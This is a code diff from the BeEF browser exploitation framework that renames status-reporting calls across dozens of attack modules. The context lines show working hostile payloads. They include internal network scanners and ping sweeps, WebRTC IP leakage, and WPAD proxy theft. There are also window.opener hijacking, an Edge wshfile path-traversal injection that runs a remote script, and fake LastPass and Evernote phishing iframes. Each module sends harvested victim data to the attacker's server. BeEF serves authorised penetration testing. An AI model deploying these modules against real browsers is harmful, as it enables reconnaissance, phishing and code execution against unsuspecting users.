iceGatherer.onerror = function (e) {
beef.debug("ICE Gatherer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.status.error());
};
} else {
// Construct RTC peer connection
@@ -61,15 +61,12 @@ beef.execute(function() {
retResults();
}, function (e) {
beef.debug("SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.status.error());
});
};
function retResults(){
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
// This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
}
// Return results
@@ -78,7 +75,7 @@ beef.execute(function() {
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
beef.debug("Found IPs: "+ displayAddrs.join(","));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.status.success());
}
@@ -99,6 +96,6 @@ beef.execute(function() {
});
}
}else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.status.error());
}
});
+2 -2
View File
@@ -20,7 +20,7 @@ beef.execute(function() {
output = document.getSystemInfo.getInfo();
if (output) {
beef.debug('[Get System Info (Java)] Retrieved system info: ' + output);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"), beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"), beef.status.success());
beef.dom.detachApplet('getSystemInfo');
return;
}
@@ -28,7 +28,7 @@ beef.execute(function() {
internal_counter = internal_counter + 5;
if (internal_counter > timeout) {
beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.status.error());
beef.dom.detachApplet('getSystemInfo');
return;
}
+2 -2
View File
@@ -9,12 +9,12 @@ beef.execute(function() {
var timeout = 10000;
if (!beef.browser.hasCors()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error());
return;
}
beef.net.cors.request('GET', url, '', timeout, function(response) {
beef.debug("[Get Physical Location (Third-Party] " + response.body);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.status.success());
});
});
@@ -11,7 +11,7 @@ beef.execute(function() {
if (!beef.hardware.isMobileDevice()) {
beef.debug(result);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.status.error());
}
var historicMotion = {
@@ -30,7 +30,7 @@ beef.execute(function() {
status = new_status;
beef.debug(new_status);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.status.success());
}
function updateStatus() {
+2 -2
View File
@@ -9,8 +9,8 @@
// Also, could have all that in as WP.prototype ?
function log(data, status = null) {
if (status == 'error') { status = beef.are.status_error(); }
if (status == 'success') { status = beef.are.status_success(); }
if (status == 'error') { status = beef.status.error(); }
if (status == 'success') { status = beef.status.success(); }
beef.net.send(beef_command_url, beef_command_id, data, status);
beef.debug(data);
@@ -14,7 +14,7 @@ beef.execute(function() {
var wait = parseInt("<%= @wait %>", 10)*1000;
if(!beef.browser.hasCors()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error());
return;
}
@@ -48,7 +48,7 @@ beef.execute(function() {
// set target IP range
var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error());
return;
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
@@ -111,7 +111,7 @@ beef.execute(function() {
'if (response != null && response["status"] != 0) {' +
'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' +
'var title = response["body"].match("<title>(.*?)<\\/title>"); if (title != null) title = title[1];' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.status.success());' +
'}' +
'});'
);
@@ -14,7 +14,7 @@ beef.execute(function() {
// check if Flash is installed (not always reliable)
if(!beef.browser.hasFlash()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.status.error());
return;
}
@@ -48,7 +48,7 @@ beef.execute(function() {
// set target IP range
var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error());
return;
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
@@ -123,7 +123,7 @@ beef.execute(function() {
'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' +
'if (data.match("securityErrorHandler")) {' +
' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' +
' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.status.success());' +
'}' +
'if (!data.match("Hijacked Contents:")) return;' +
@@ -135,7 +135,7 @@ beef.execute(function() {
'}' +
'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.status.success());' +
' }', url);
} catch(e) {
beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message);
+2 -2
View File
@@ -18,10 +18,10 @@ beef.execute(function() {
var response = FindProxyForURL('', '');
beef.debug("Response: " + response);
beef.net.send("<%= @command_url %>", <%= @command_id %>,
"has_burp=true&response=" + response, beef.are.status_success());
"has_burp=true&response=" + response, beef.status.success());
} catch(e) {
beef.debug("Response: " + e.message);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.status.error());
}
}
+11 -11
View File
@@ -62,7 +62,7 @@ beef.execute(function() {
function fetch_scan(hostname, port_) {
// check if port that is to be scanned is part of the banned list and report back to the BeEF server
if (check_blocked(parseInt(port_))) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.status.success());
return;
}
// define an AbortController to handle timeouts and to terminate connections [currently set to 5 seconds]
@@ -84,14 +84,14 @@ beef.execute(function() {
// If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not
// and or Chrome received HTTP based traffic.
if (res.status === 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.status.success());
}
})
// If an error occurred with the fetch this could be due to reaching the time out, the port being closed or non HTTP traffic.
.catch(err => {
// Alert BeEF if we are giving up due to the port not responding for N seconds
if (signal.aborted === true) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.status.success());
}
else {
// We need to capture how long it took to fail ASAP to get an idea on timing differences
@@ -101,14 +101,14 @@ beef.execute(function() {
if (isFirefox === true) {
if (navigator.platform === 'Win32') {
if ((end - start) > 600 ) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success());
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.status.success());
}
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success());
}
}
else {
@@ -118,23 +118,23 @@ beef.execute(function() {
// // check if windows or linux
if (navigator.platform === 'Win32') {
if ((end - start) > 121 ) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success());
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.status.success());
}
}
else if (navigator.platform.toLowerCase().includes('linux')) {
// this is for linux
if ((end - start) < 11 ) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success());
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.status.success());
}
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.status.success());
}
}
}
+4 -4
View File
@@ -15,7 +15,7 @@ beef.execute(function() {
if(beef.browser.isO()) {
beef.debug("[Favicon Scanner] Browser is not supported.");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error());
return;
}
@@ -39,7 +39,7 @@ beef.execute(function() {
}
ports = sort_unique(target_ports);
if (ports.length == 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.status.error());
return;
}
@@ -79,7 +79,7 @@ beef.execute(function() {
}
ips = sort_unique(target_ips);
if (ips.length == 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.status.error());
return;
}
}
@@ -93,7 +93,7 @@ beef.execute(function() {
img.src = proto+"://"+ip+":"+port+uri;
img.onerror = function() { dom.removeChild(this); }
img.onload = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.status.success());dom.removeChild(this);
beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]");
}
dom.appendChild(img);
@@ -20,10 +20,10 @@ beef.execute(function() {
try {
var result = JSON.stringify(ntopDict);
beef.debug("[Get ntop Network Hosts] Success: Found ntop data (" + result.length + ' bytes)');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.status.success());
} catch(e) {
beef.debug("[Get ntop Network Hosts] Error: Did not find ntop");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.status.error());
return;
}
}
@@ -18,7 +18,7 @@ beef.execute(function() {
if (typeof FindProxyForURL === 'function') {
var wpad = FindProxyForURL.toString();
beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.status.success());
} else {
beef.debug("[Get Proxy Servers] Error: Did not find wpad");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false");
@@ -38,7 +38,7 @@ beef.execute(function() {
return;
}
beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(','));
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.status.success());
}
load_script("http://wpad/wpad.dat");
@@ -8,7 +8,7 @@ beef.execute(function() {
if(!beef.browser.isFF() && !beef.browser.isC()){
beef.debug("[command #<%= @command_id %>] Browser is not supported.");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error());
}
var min_timeout = 500;
@@ -102,13 +102,13 @@ var doScan = function(timeout) {
beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)");
doScan(timeout-500);
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.status.error());
}
} else if (discovered_hosts.length == 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.status.error());
} else {
beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed.");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.status.success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
}
}
@@ -42,7 +42,7 @@ beef.execute(function() {
// set target IP range
var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error());
return;
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
@@ -300,7 +300,7 @@ beef.execute(function() {
img.onerror = function() { dom.removeChild(this); }
img.onload = function() {
if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.status.success());dom.removeChild(this);
beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]");
}
}
+3 -3
View File
@@ -9,7 +9,7 @@ beef.execute(function() {
if(!beef.browser.isFF() && !beef.browser.isS()){
beef.debug("[command #<%= @command_id %>] Browser is not supported.");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error());
return;
}
@@ -354,12 +354,12 @@ beef.execute(function() {
lanScanner.addHost = function(obj) {
this.timeout = 0;
beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.status.success());
lanScanner.fingerPrint(obj.host);
}
lanScanner.addDevice = function(obj) {
beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']');
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.status.success());
}
lanScanner.destroyConnections = function() {
var guessesLen = guesses.length;
+3 -3
View File
@@ -12,7 +12,7 @@ beef.execute(function() {
var timeout = 1000;
if(!beef.browser.hasCors()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error());
return;
}
@@ -41,7 +41,7 @@ beef.execute(function() {
// set target IP range
var range = rhosts.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error());
return;
}
ipBounds = rhosts.split('-');
@@ -96,7 +96,7 @@ beef.execute(function() {
'var duration = current_time - start_time;' +
'if (duration < '+timeout+') {' +
'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- host is up");' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.are.status_success());' +
'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.status.success());' +
'} else {' +
'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- timeout");' +
'}' +
+1 -1
View File
@@ -57,7 +57,7 @@ beef.execute(function() {
if(ips.length>1) {
var int_id = setInterval( function() {
var host = do_scan(ips[i++],timeout);
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.status.success());
if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
}, delay);
} else {
+2 -2
View File
@@ -28,11 +28,11 @@ beef.execute(function() {
output = document.pingSweep.getAliveHosts();
clearTimeout(int_timeout);
clearTimeout(ext_timeout);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.status.success());
beef.dom.detachApplet('pingSweep');
return;
}else{
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.status.error());
return;
}
} catch (e) {
+1 -1
View File
@@ -166,7 +166,7 @@ beef.execute(function() {
{
known_service = "(" + default_services[port_] + ")";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.status.success());
}
}
@@ -24,10 +24,10 @@ beef.execute(function() {
try {
window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
window.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.status.success());
} catch(e) {
beef.debug("[Create Pop-Under] Could not create pop-under window");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.status.error());
}
}
+2 -2
View File
@@ -9,9 +9,9 @@ beef.execute(function() {
try {
beef.debug("[Hijack Opener] Trying to hijack: " + referrer);
window.opener.location = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + '/iframe#' + referrer;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.status.success());
} catch (e) {
beef.debug("[Hijack Opener] could not hijack opener window: "+e.message)
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.status.error());
}
});
@@ -20,9 +20,9 @@ beef.execute(function() {
// Prevent IE from destroying the previous reference
window.open("","_self");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.status.success());
} catch (e) {
beef.debug("[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: "+e.message)
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.status.error());
}
});
@@ -15,10 +15,10 @@ beef.execute(function() {
try {
window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
window.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.status.success());
} catch(e) {
beef.debug("[Create Pop-Under] Could not create pop-under window");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.status.error());
}
if (document.removeEventListener) {
+2 -2
View File
@@ -19,8 +19,8 @@ beef.execute(function() {
+ " uuid: " + device.uuid
+ " version: " + device.version
+ " model: " + device.model;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.status.success());
} catch(e) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.status.error());
}
});
@@ -9,7 +9,7 @@ beef.execute(function(){
if (!beef.browser.isEdge()) {
beef.debug("[Edge WScript WSH Injection] Browser is not supported.");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.status.error());
return;
}
@@ -19,7 +19,7 @@ beef.execute(function(){
wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html');
} catch (e) {
beef.debug("[Edge WScript WSH Injection] Could not create iframe");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.status.error());
return;
}
@@ -26,7 +26,7 @@ beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
} else {
beef.debug('[Fake Evernote Clipper] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.status.error());
}
});
@@ -26,7 +26,7 @@ beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
} else {
beef.debug('[Fake LastPass] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.status.error());
}
// $j('body').append("<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: "+beef.dom.getHighestZindex()+1+"; border: 1px solid white; overflow: hidden; display: none'></div>");
@@ -29,8 +29,8 @@ beef.execute(function() {
});
$j(hid).css('cursor','pointer');
$j(hid).slideDown(300,function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success());
